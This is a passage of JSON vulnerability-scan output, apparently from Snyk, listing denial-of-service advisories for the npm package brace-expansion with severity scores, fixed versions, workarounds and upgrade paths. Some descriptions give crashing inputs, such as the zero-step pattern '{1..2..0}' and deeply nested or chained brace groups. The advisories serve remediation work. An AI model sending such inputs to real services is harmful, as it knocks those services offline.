"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
